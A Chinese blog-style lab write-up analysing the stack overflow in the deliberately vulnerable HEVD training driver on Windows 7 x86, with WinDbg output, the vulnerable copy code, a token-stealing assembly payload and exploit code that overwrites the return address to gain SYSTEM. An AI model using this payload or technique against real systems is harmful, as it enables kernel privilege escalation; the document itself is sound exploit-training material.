目录
前言
自学习CVE-2017-11882漏洞后,便开始希望学习更多的漏洞,提高一下对漏洞的理解。在github上找到一个很好的项目,基本涵盖了所有漏洞(https://github.com/hacksysteam/HackSysExtremeVulnerableDriver)。
下载下来后,执行过后得到驱动文件HEVD.sys,以及漏洞利用程序HackSysEVDExploit.exe,然后开启双机调试,来简单分析一下栈溢出漏洞。
首先使用KmdManager将HEVD驱动加载到调试对象VM中,使用命令lm m H*查看刚刚加载的HEVD.sys
漏洞分析
查看驱动程序的源代码,并查看StackOverflow.c文件,hacksysteam在演示易受攻击的版本和安全版本的驱动程序代码方面做得非常好。
#ifdef SECURE
//注意:这是安全的,因为开发人员正在传递一个大小
//等于KernelBuffer到RtlCopyMemory()/memcpy()的大小。因此,
//不会有溢出
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#else
DbgPrint("[+] Triggering Buffer Overflow in Stack\n");
//注意:这是一个普通的基于堆栈的溢出漏洞
//因为开发人员将用户提供的大小直接传递给
//RtlCopyMemory()/memcpy()不验证大小是否大于或
//等于KernelBuffer的大小
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
#endif
在不安全的版本中,RtlCopyMemory函数进行内存拷贝时,直接使用Ring3传入的内存块大小,没有进行任何的校验。而在安全的版本中,内存拷贝大小被限制为目标缓冲区大小,即限制了栈溢出的发生。那么,当我们编译为不安全版本时,即可进行漏洞利用。
再向上翻看代码时,可以注意到内核缓冲区的大小为BUFFER_SIZE大小,查看宏可知为512,乘以32位ULONG即为0x800大小
漏洞利用
缓冲区溢出就是在大缓冲区中的数据向小缓冲区复制的过程中,由于没有注意小缓冲区的边界,“撑爆”了较小的缓冲区,从而冲掉了和小缓冲区相邻内存区域的其他数据而引起的内存问题。缓冲溢出是最常见的内存错误之一,也是攻击者入侵系统时所用到的最强大、最经典的一类漏洞利用方式。成功地利用缓冲区溢出漏洞可以修改内存中变量的值,甚至可以劫持进程,执行恶意代码,最终获得主机的控制权。
栈溢出
顾名思义,即缓冲区中,超长的数据向小缓冲区拷贝数据,数据超出了小缓冲区,覆盖掉了小缓冲之后的数据,此称为缓冲区溢出。而栈溢出是缓冲区溢出的一种,类似的还有堆溢出,不同的是栈溢出发生在栈中,而堆溢出发生在堆中。
基础知识
对于系统进程而言,如system.exe或者csrss.exe,当我们用自己的普通用户进程打开OpenProcess时,往往都会返回0x5的错误,即拒绝访问。那是因为普通进程的权限是比较低的,想要打开高权限程序必须具有高于或等于目标进程权限,才能对其进程操作。那么如何提升当前进程的权限呢,常用的一种做法是,通过Token令牌修改。即将目标进程的 Token 结构数据或指针替换成 System 进程等系统进程的 Token 结构数据或指针。这样一来进程将以系统进程的身份执行任何行为,所有需要校验令牌的操作都将可以畅通无阻地进行。
下面演示通过winDbg来找到令牌,首先我们先切换到系统进程(一般来说不用切换,打开就是系统进程),输入命令!thread,可以查看当前线程的详细信息和堆栈,可以看到有Attached Process 85ec88e8 Image: System
,说明当前调试的是System进程。
0: kd> !thread
THREAD 83f78380 Cid 0000.0000 Teb: 00000000 Win32Thread: 00000000 RUNNING on processor 0
Not impersonating
DeviceMap 8ae088d8
Owning Process 83f78640 Image: Idle
Attached Process 85ec88e8 Image: System
Wait Start TickCount 0 Ticks: 20409 (0:00:05:18.382)
Context Switch Count 148452 IdealProcessor: 0
UserTime 00:00:00.000
KernelTime 00:04:43.329
Win32 Start Address nt!KiIdleLoop (0x83ebae00)
Stack Init 83f6bed0 Current 83f6bc1c Base 83f6c000 Limit 83f69000 Call 0
Priority 0 BasePriority 0 UnusualBoost 0 ForegroundBoost 0 IoPriority 0 PagePriority 0
ChildEBP RetAddr Args to Child
83f6ba80 83ebe10b 00000001 83ebe0dd 00000002 nt!RtlpBreakWithStatusInstruction (FPO: [1,0,0])
83f6ba88 83ebe0dd 00000002 00000000 0000d5c7 nt!KdCheckForDebugBreak+0x22 (FPO: [0,0,0])
83f6bab8 83ebdf6b 91f615d6 611b4dbf 00000000 nt!KeUpdateRunTime+0x164
83f6bb14 83ec2c17 83f6bb02 83f6bb02 000000d1 nt!KeUpdateSystemTime+0x613
83f6bb14 91f615d6 83f6bb02 83f6bb02 000000d1 nt!KeUpdateSystemTimeAssist+0x13 (FPO: [0,2] TrapFrame @ 83f6bb28)
83f6bb98 83ec337f 87717bd0 83f78380 83f6ec00 intelppm!C1Halt+0x4 (FPO: [0,0,0])
83f6bc20 83ebae0d 00000000 0000000e 00000000 nt!PoIdle+0x524
83f6bc24 00000000 0000000e 00000000 00000000 nt!KiIdleLoop+0xd (FPO: [0,0,0])
然后定位到System进程的EPROCES结构地址,常见做法是通过fs寄存器,其指向当前活动线程的TEB结构(线程结构),在Win7 x86 sp1环境下,其偏移0x124为当前线程KTHREAD结构:
0: kd> dd fs:[124]
0030:00000124 83f78380 87406cd8 83f78380 00000100
0030:00000134 9e0b0106 0001007f 00000000 00000000
0030:00000144 00000000 00000000 00000000 00000000
0030:00000154 00000000 00000000 00000000 00000000
0030:00000164 00000000 00000000 00000000 00000000
0030:00000174 00000000 00000000 00000000 00000000
0030:00000184 00000000 00000000 00000000 00000000
0030:00000194 00000000 00000000 83f07ae7 83e4af64
0: kd> dt _kthread 83f78380
ntdll!_KTHREAD
+0x000 Header : _DISPATCHER_HEADER
+0x010 CycleTime : 0x000000ee`611b4dbf
+0x018 HighCycleTime : 0xee
+0x020 QuantumTarget : 0x00000006`64e61fa5
+0x028 InitialStack : 0x83f6bed0 Void
+0x02c StackLimit : 0x83f69000 Void
+0x030 KernelStack : 0x83f6bc1c Void
+0x034 ThreadLock : 0
+0x038 WaitRegister : _KWAIT_STATUS_REGISTER
+0x039 Running : 0x1 ''
+0x03a Alerted : [2]
+0x03c KernelStackResident : 0y1
+0x03c ReadyTransition : 0y0
+0x03c ProcessReadyQueue : 0y0
+0x03c WaitNext : 0y0
+0x03c SystemAffinityActive : 0y0
+0x03c Alertable : 0y0
+0x03c GdiFlushActive : 0y0
+0x03c UserStackWalkActive : 0y0
+0x03c ApcInterruptRequest : 0y0
+0x03c ForceDeferSchedule : 0y0
+0x03c QuantumEndMigrate : 0y0
+0x03c UmsDirectedSwitchEnable : 0y0
+0x03c TimerActive : 0y0
+0x03c SystemThread : 0y1
+0x03c Reserved : 0y000000000000000000 (0)
+0x03c MiscFlags : 0n8193
+0x040 ApcState : _KAPC_STATE
+0x040 ApcStateFill : [23] "???"
+0x057 Priority : 0 ''
+0x058 NextProcessor : 0
+0x05c DeferredProcessor : 0
+0x060 ApcQueueLock : 0
+0x064 ContextSwitches : 0x243e4
+0x068 State : 0x2 ''
+0x069 NpxState : 0 ''
+0x06a WaitIrql : 0x2 ''
+0x06b WaitMode : 0 ''
+0x06c WaitStatus : 0n0
+0x070 WaitBlockList : (null)
+0x074 WaitListEntry : _LIST_ENTRY [ 0x0 - 0x0 ]
+0x074 SwapListEntry : _SINGLE_LIST_ENTRY
...
_KTHREAD结构的偏移0x50处为_KPROCESS结构,但是上面调试的时候确没看见偏移0x50的地方,那是因为偏移0x40处是个结构体,包含了偏移0x50处为_KPROCESS的结构,输入命令dt _KAPC_STATE,可以看到0x010处就是_KPROCESS。然而_KPROCESS为_EPOCESS结构的第一个字段,这样我们就定位到了_EPROCESS结构。
0: kd> dt _KAPC_STATE
ntdll!_KAPC_STATE
+0x000 ApcListHead : [2] _LIST_ENTRY
+0x010 Process : Ptr32 _KPROCESS
+0x014 KernelApcInProgress : UChar
+0x015 KernelApcPending : UChar
+0x016 UserApcPending : UChar
但是我们没有跟上地址,这里把地址跟上,可以看到0x85ec88e8 _KPROCESS。
0: kd> dd 83f78380+40
83f783c0 83f783c0 83f783c0 83f783c8 83f783c8
83f783d0 85ec88e8 00000000 00000000 00000000
83f783e0 00000000 000243e4 00020002 00000000
83f783f0 00000000 00000000 00000000 00000000
83f78400 00000000 00000000 00000000 00000000
83f78410 00000008 00000000 83f78488 83f78488
83f78420 00000000 00000000 00000000 00000000
83f78430 00000000 00000000 00000060 83fad9c0
0: kd> dt _KAPC_STATE 83f783c0
ntdll!_KAPC_STATE
+0x000 ApcListHead : [2] _LIST_ENTRY [ 0x83f783c0 - 0x83f783c0 ]
+0x010 Process : 0x85ec88e8 _KPROCESS
+0x014 KernelApcInProgress : 0 ''
+0x015 KernelApcPending : 0 ''
+0x016 UserApcPending : 0 ''
通过找_EPROCESS中偏移0xb8处的进程双向链表,偏移0xb4处的进程标识符以及System进程的进程标识符4遍历链表匹配到System进程。在EPROCESS结构偏移0xF8处为_EX_FAST_REF结构,为Token成员域。
0: kd> dt _eprocess 85ec88e8
ntdll!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x098 ProcessLock : _EX_PUSH_LOCK
+0x0a0 CreateTime : _LARGE_INTEGER 0x01d628ed`7d3efbb4
+0x0a8 ExitTime : _LARGE_INTEGER 0x0
+0x0b0 RundownProtect : _EX_RUNDOWN_REF
+0x0b4 UniqueProcessId : 0x00000004 Void
+0x0b8 ActiveProcessLinks : _LIST_ENTRY [ 0x86a23df8 - 0x83f85f18 ]
+0x0c0 ProcessQuotaUsage : [2] 0
+0x0c8 ProcessQuotaPeak : [2] 0
+0x0d0 CommitCharge : 0xc
+0x0d4 QuotaBlock : 0x83f79cc0 _EPROCESS_QUOTA_BLOCK
+0x0d8 CpuQuotaBlock : (null)
+0x0dc PeakVirtualSize : 0x7c7000
+0x0e0 VirtualSize : 0x250000
+0x0e4 SessionProcessLinks : _LIST_ENTRY [ 0x0 - 0x0 ]
+0x0ec DebugPort : (null)
+0x0f0 ExceptionPortData : (null)
+0x0f0 ExceptionPortValue : 0
+0x0f0 ExceptionPortState : 0y000
+0x0f4 ObjectTable : 0x8ae01b28 _HANDLE_TABLE
+0x0f8 Token : _EX_FAST_REF
+0x0fc WorkingSetPage : 0
...
来看看Token成员域(错误部分)
0: kd> dd 85ec88e8+f8
85ec89e0 8ae01273 00000000 00000000 00000000
85ec89f0 00000000 00000000 85eea2e0 00000000
85ec8a00 00000005 00000040 00000000 00000000
85ec8a10 00000000 00000000 00000000 00000000
85ec8a20 00000000 00000000 00000000 00000000
85ec8a30 00000000 00000000 8ae088d8 00000000
85ec8a40 7ffe0000 00000000 00000000 00000000
85ec8a50 00000000 74737953 00006d65 00000000
0: kd> dt _ex_fast_ref 8ae01273
ntdll!_EX_FAST_REF
+0x000 Object : 0x4d455453 Void
+0x000 RefCnt : 0y011
+0x000 Value : 0x4d455453
0: kd> !token 8ae01273
The address 8ae01273 does not point to a token object.
这是因为8ae01273数值的低 3 位表示引用计数,去除低 3 位数值后的 32 位完整数值指向实际表示的内存地址。Token 结构中存储与当前进程相关的安全令牌的数据内容,如用户安全标识符(Sid),特权级(Privileges)等,代表当前进程作为访问者角色访问其他被访问对象时,访问权限和身份校验的依据。当前的 System 进程的 Token 结构块的数据如下:
0: kd> dt _ex_fast_ref 8ae01273&fffffff0
ntdll!_EX_FAST_REF
+0x000 Object : 0x5359532a Void
+0x000 RefCnt : 0y010
+0x000 Value : 0x5359532a
0: kd> !token 8ae01273&fffffff0
_TOKEN 8ae01270
TS Session ID: 0
User: S-1-5-18
User Groups:
00 S-1-5-32-544
Attributes - Default Enabled Owner
01 S-1-1-0
Attributes - Mandatory Default Enabled
02 S-1-5-11
Attributes - Mandatory Default Enabled
03 S-1-16-16384
Attributes - GroupIntegrity GroupIntegrityEnabled
Primary Group: S-1-5-18
Privs:
02 0x000000002 SeCreateTokenPrivilege Attributes -
03 0x000000003 SeAssignPrimaryTokenPrivilege Attributes -
04 0x000000004 SeLockMemoryPrivilege Attributes - Enabled Default
05 0x000000005 SeIncreaseQuotaPrivilege Attributes -
07 0x000000007 SeTcbPrivilege Attributes - Enabled Default
08 0x000000008 SeSecurityPrivilege Attributes -
09 0x000000009 SeTakeOwnershipPrivilege Attributes -
10 0x00000000a SeLoadDriverPrivilege Attributes -
11 0x00000000b SeSystemProfilePrivilege Attributes - Enabled Default
12 0x00000000c SeSystemtimePrivilege Attributes -
13 0x00000000d SeProfileSingleProcessPrivilege Attributes - Enabled Default
14 0x00000000e SeIncreaseBasePriorityPrivilege Attributes - Enabled Default
15 0x00000000f SeCreatePagefilePrivilege Attributes - Enabled Default
16 0x000000010 SeCreatePermanentPrivilege Attributes - Enabled Default
17 0x000000011 SeBackupPrivilege Attributes -
18 0x000000012 SeRestorePrivilege Attributes -
19 0x000000013 SeShutdownPrivilege Attributes -
20 0x000000014 SeDebugPrivilege Attributes - Enabled Default
21 0x000000015 SeAuditPrivilege Attributes - Enabled Default
22 0x000000016 SeSystemEnvironmentPrivilege Attributes -
23 0x000000017 SeChangeNotifyPrivilege Attributes - Enabled Default
25 0x000000019 SeUndockPrivilege Attributes -
28 0x00000001c SeManageVolumePrivilege Attributes -
29 0x00000001d SeImpersonatePrivilege Attributes - Enabled Default
30 0x00000001e SeCreateGlobalPrivilege Attributes - Enabled Default
31 0x00000001f SeTrustedCredManAccessPrivilege Attributes -
32 0x000000020 SeRelabelPrivilege Attributes -
33 0x000000021 SeIncreaseWorkingSetPrivilege Attributes - Enabled Default
34 0x000000022 SeTimeZonePrivilege Attributes - Enabled Default
35 0x000000023 SeCreateSymbolicLinkPrivilege Attributes - Enabled Default
Authentication ID: (0,3e7)
Impersonation Level: Anonymous
TokenType: Primary
Source: *SYSTEM* TokenFlags: 0x2000 ( Token in use )
Token ID: 3ea ParentToken ID: 0
Modified ID: (0, 3eb)
RestrictedSidCount: 0 RestrictedSids: 00000000
OriginatingLogonSession: 0
提权
参照..\HackSysExtremeVulnerableDriver-master\Exploit\Payloads.c,它们构造的Payload代码如下:
// Windows 7 SP1 x86 Offsets
#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token
#define SYSTEM_PID 0x004 // SYSTEM Process PID
VOID TokenStealingPayloadWin7() {
__asm {
pushad ; 保存寄存器状态
xor eax, eax ; 清空eax
mov eax, fs:[eax + KTHREAD_OFFSET] ;获取当前线程KTHREAD结构
mov eax, [eax + EPROCESS_OFFSET] ; 获取_KPROCESS结构
mov ecx, eax ; KProcess为EProcess第一个字段 这里将目标进程EProcess首地址放进ecx 方便后面替换
mov edx, SYSTEM_PID ; SYSTEM process PID = 0x4
SearchSystemPID:
mov eax, [eax + FLINK_OFFSET] ; _EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp [eax + PID_OFFSET], edx ;_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax + TOKEN_OFFSET] ; 获取System进程令牌
mov [ecx + TOKEN_OFFSET], edx ; 用系统进程令牌替换目标进程令牌
popad ; 恢复现场
xor eax, eax ; 设置返回状态为成功0
add esp, 12 ; 恢复堆栈
pop ebp ; 弹栈
ret 8 ;
}
}
上面的汇编代码比较简单,具体功能一看就懂,这里就不做过多的赘述了。
利用代码
栈溢出的代码还是比较简单的,比较适合我这种菜鸡选手。
代码分析
首先得到UserModeBufferSize的大小2084,然后动态申请它,往里面天空字母A,然后定位到所申请buffer倒数第四字节的位置,在该位置写入payload的地址。
DWORD WINAPI StackOverflowThread(LPVOID Parameter) {
...
SIZE_T UserModeBufferSize = (BUFFER_SIZE + RET_OVERWRITE) * sizeof(ULONG);//(512+9)*4=2084
__try {
hFile = GetDeviceHandle(FileName);
...
//申请内存 大小为2084=0x824
UserModeBuffer = (PULONG)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY,
UserModeBufferSize);
...
RtlFillMemory((PVOID)UserModeBuffer, UserModeBufferSize, 0x41);//0x41 'A'
MemoryAddress = (PVOID)(((ULONG)UserModeBuffer + UserModeBufferSize) - sizeof(ULONG));//获取申请区域倒数第四字节的位置
*(PULONG)MemoryAddress = (ULONG)EopPayload;//在上面获取到的位置写入payload的地址
...
DeviceIoControl(hFile,
HACKSYS_EVD_IOCTL_STACK_OVERFLOW,
(LPVOID)UserModeBuffer,
(DWORD)UserModeBufferSize,
NULL,
0,
&BytesReturned,
NULL);
...
HeapFree(GetProcessHeap(), 0, (LPVOID)UserModeBuffer);
UserModeBuffer = NULL;
}
...
return EXIT_SUCCESS;
}
上面的代码看起来很简单,那么它是怎么利用的呢?通过DeviceIoControl的其他内存模式IOCTL(METHOD_INEITHER)方法进行环3和环0通信交互。这种交互方法,驱动层可以直接访问用户模式地址,使用用户模式地址必须保证调用DeviceIoControl提供线程和派遣函数运行在同一个线程上下文中。
#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)
在来看CTL_CODE()这个函数,它会通过一系列计算,得到所谓的控制码222003h。
#define CTL_CODE( DeviceType, Function, Method, Access ) ( \
((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method) \
)
通过IDA反汇编便可直接看到控制码222003h。
Ring3/Ring0 的四种通信方式
利用代码为什么是使用METHOD_INEITHER方法呢?要搞清楚这个问题,就得来复习一下Ring3/Ring0的四种通信方式了。Ring3/Ring0 通信的四种内存访问方式分别为:METHOD_BUFFERED、METHOD_IN_DIRECT、METHOD_OUT_DIRECT 和METHOD_NEITHER。
METHOD_BUFFERED 可称为“缓冲方式”,是指Ring3 指定的输入、输出缓冲区的内存读和写都是经过系统的“缓冲”,具体过程如下图所示。这种方式下,首先系统会将Ring3 下指定的输入缓冲区(UserInputBuffer)数据,按指定的输入长度(InputBufferLen)复制到Ring0 中事先分配好的缓冲内存(SystemBuffer,通过pIrp->AssociatedIrp.SystemBuffer 得到)中。驱动程序就可以将SystemBuffer 视为输入数据进行读取,当然也可以将SystemBuffer 视为输出数据的缓冲区,也就是说SystemBuffer 既可以读也可以写。驱动程序处理完后,系统会按照pIrp->IoStatus->Information 指定的字节数,将SystemBuffer上的数据复制到Ring3 指定的输出缓冲区(UserOutputBuffer)中。可见这个过程是比较安全的,避免了驱动程序在内核态直接操作用户态内存地址的问题,这种方式是推荐使用的方式。
METHOD_NEITHER 可称为“其他方式”,这种方式与METHOD_BUFFERED 方式正好相反。METHOD_BUFFERED 方式相当于对Ring3 的输入输出都进行了缓冲,而METHOD_NEITHER 方式是不进行缓冲的,在驱动中可以直接使用Ring3 的输入输出内存地址,如下图所示。驱动程序可以通过pIrpStack->Parameters.DeviceIoControl.Type3InputBuffer 得到Ring3 的输入缓冲区地址(其中pIrpStack 是IoGetCurrentIrpStackLocation(pIrp)的返回);通过pIrp->UserBuffer 得到Ring3 的输出缓冲区地址。由于METHOD_NEITHER 方式并不安全,因此最好对Type3InputBuffer 读取之前使用ProbeForRead 函数进行探测,对UserBuffer 写入之前使用ProbeForWrite 函数进行探测,当没有发生异常时,再进行读取和写入操作。
METHOD_IN_DIRECT 和METHOD_OUT_DIRECT 可称为“直接方式”,是指系统依然对Ring3 的输入缓冲区进行缓冲,但是对Ring3 的输出缓冲区并没有缓冲,而是在内核中进行了锁定。这样Ring3 输出缓冲区在驱动程序完成I/O 请求之前,都是无法访问的,从一定程度上保障了安全性。如下图所示。这两种方式,对于Ring3 的输入缓冲区和METHOD_BUFFERED 方式是一致的。对于Ring3的输出缓冲区,首先由系统锁定,并使用pIrp->MdlAddress 来描述这段内存,驱动程序需要使用MmGetSystemAddressForMdlSafe 函数将这段内存映射到内核内存地址(OutputBuffer),然后可以直接写入OutputBuffer 地址,最终在驱动派遣例程返回后,由系统解除这段内存的锁定。
通过上面的复习,现在知道为什么使用METHOD_INEITHER方法了,由于不进行缓冲,驱动可以直接使用Ring3 的输入输出内存地址,从而导致溢出。
利用调试
首先,先注册驱动,软件很多,自己选一个喜欢的就行。
然后在windbg中看是否加载成功,命令是lm m h*
发现加载是加载成功了,但是没有加载pdb,不利于我们调试,所以需要手动加载一下pdb。首先这个是我们自己生成的程序,不是微软的,所以需要手动指定一下pdb路径,在windbg中按快捷键ctrl+s打开Symbol Search Path窗口,输入路径,注意加分号。
然后输入指令.reload -f 重新装载一下。
1: kd> !sym noisy
noisy mode - symbol prompts on
1: kd> .reload -f
...
成功加载
然后给我们需要关注的函数TriggerBufferOverflowStack下个断点,命令为bp HEVD!TriggerBufferOverflowStack
1: kd> bp HEVD!TriggerBufferOverflowStack
1: kd> bl
0 e a76821a0 0001 (0001) HEVD!TriggerBufferOverflowStack
然后让系统Run起来,使用OD打开漏洞利用程序,使用插件StrongOD加载HackSysEVDExploit.exe的Pdb(方便调试)。
然后选择OD的调试选项,选择参数,输入参数 -s -c cmd.exe ,重新加载程序运行。
使用IDA打开我们需要关注的函数StackOverflowThread,找到他的偏移0x3A00
然后在OD中ctrl+G跳到基址+0x3A00处的函数地址下断,开始调试
单步,发现申请0x824空间
把申请的空间全部赋值为字母A
相当明显的在申请空间的后四字节写入payload地址
然后继续执行,触发我们之前下的断点bp HEVD!TriggerBufferOverflowStack
然后来到windbg,查看一下堆栈
1: kd> kP
ChildEBP RetAddr
a4af3ad0 95fdb198 HEVD!TriggerBufferOverflowStack(
void * UserBuffer = 0x004233b0,
unsigned long Size = 0x824) [C:\Users\Administrator\Desktop\HackSysExtremeVulnerableDriver-master\Driver\HEVD\Windows\BufferOverflowStack.c @ 76]
a4af3ae0 95fda0ba HEVD!BufferOverflowStackIoctlHandler(
struct _IRP * Irp = 0x878bb5d0,
struct _IO_STACK_LOCATION * IrpSp = 0x878bb640)+0x1c [C:\Users\Administrator\Desktop\HackSysExtremeVulnerableDriver-master\Driver\HEVD\Windows\BufferOverflowStack.c @ 163]
a4af3afc 83e78593 HEVD!IrpDeviceIoCtlHandler(
struct _DEVICE_OBJECT * DeviceObject = 0x85e70ae0,
struct _IRP * Irp = 0x878bb5d0)+0x56 [C:\Users\Administrator\Desktop\HackSysExtremeVulnerableDriver-master\Driver\HEVD\Windows\HackSysExtremeVulnerableDriver.c @ 277]
a4af3b14 8406c99f nt!IofCallDriver+0x63
1: kd> dd a4af3ad0
a4af3ad0 00000202 95fdb198 004233b0 00000824
a4af3ae0 a4af3afc 95fda0ba 878bb5d0 878bb640
a4af3af0 85e34250 85e70ae0 00000000 a4af3b14
a4af3b00 83e78593 85e70ae0 878bb5d0 878bb5d0
a4af3b10 85e70ae0 a4af3b34 8406c99f 85e34250
a4af3b20 878bb5d0 878bb640 00000094 04af3bac
a4af3b30 a4af3b44 a4af3bd0 8406fb71 85e70ae0
a4af3b40 85e34250 00000000 00010001 a4af3900
a4af3ad4 95fdb198 -函数返回地址
a4af3ad8 004233b0 -参数1
a4af3adc 00000824 -参数2
然后单步调试(由于编译器的原因,调试起来比较难受,会莫名其妙跳指令,还会加一下源代码没有的指令) ,可以看到eax里面存放的就是KernelBuffer的值,地址为0xa4af32b4
单步进去,可以看到KernelBuffer=edi=0xa4af32b4, UserBuffer=0x004233b0, Size=0x824
上面有介绍过KernelBuffer的大小,记不住再回去看下源代码,发现啥了没?对,KernelBuffer的大小只有0x800,而上面的Size=0x824,比KernelBuffer还大,就造成了溢出。
#define BUFFER_SIZE 512
ULONG KernelBuffer[BUFFER_SIZE] = { 0 };
溢出前的栈空间
...
a4af3a94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ..................
a4af3aa6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 3a af a4 ...............:..
a4af3ab8 a4 32 af a4 00 70 f9 95 c0 3b af a4 a0 70 f9 95 8f 63 .2...p...;...p...c
a4af3aca 9f 34 00 00 00 00 e0 3a af a4 98 b1 fd 95 b0 33 42 00 .4.....:.......3B.
...
溢出后的栈空间
a4af3a94 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAAAA
a4af3aa6 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAAAA
a4af3ab8 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAAAA
a4af3aca 41 41 41 41 41 41 41 41 41 41 20 37 d5 00 b0 33 42 00 AAAAAAAAAA 7...3B.
可以看到他把栈位置0xa4af3ad8处,也就是UserBuffer:0x004233b0前的空间都覆盖了,在栈里UserBuffer是TriggerBufferOverflowStack函数的参数1,那UserBuffer前面的四字节就是TriggerBufferOverflowStack函数的返回地址,现在被覆盖成了0x00d53720,也就是说程序最终会返回到0x00d53720去执行指令,而0x00d53720正好是payload的地址。
成功执行到提权的payload代码
然后可以在windbg里面输入g让系统Run起来了,可以看到打开了新的cmd.exe,并且提权成功
总结
HEVD栈溢出综合来说比较简单,因为简单,所以要多弄清楚细节。写博客忘记保存是真的难受,这玩意差点把我心态都搞崩了。。。
参考文献
1、https://bbs.pediy.com/thread-252775.htm
2、https://rootkits.xyz/blog/2017/08/kernel-stack-overflow/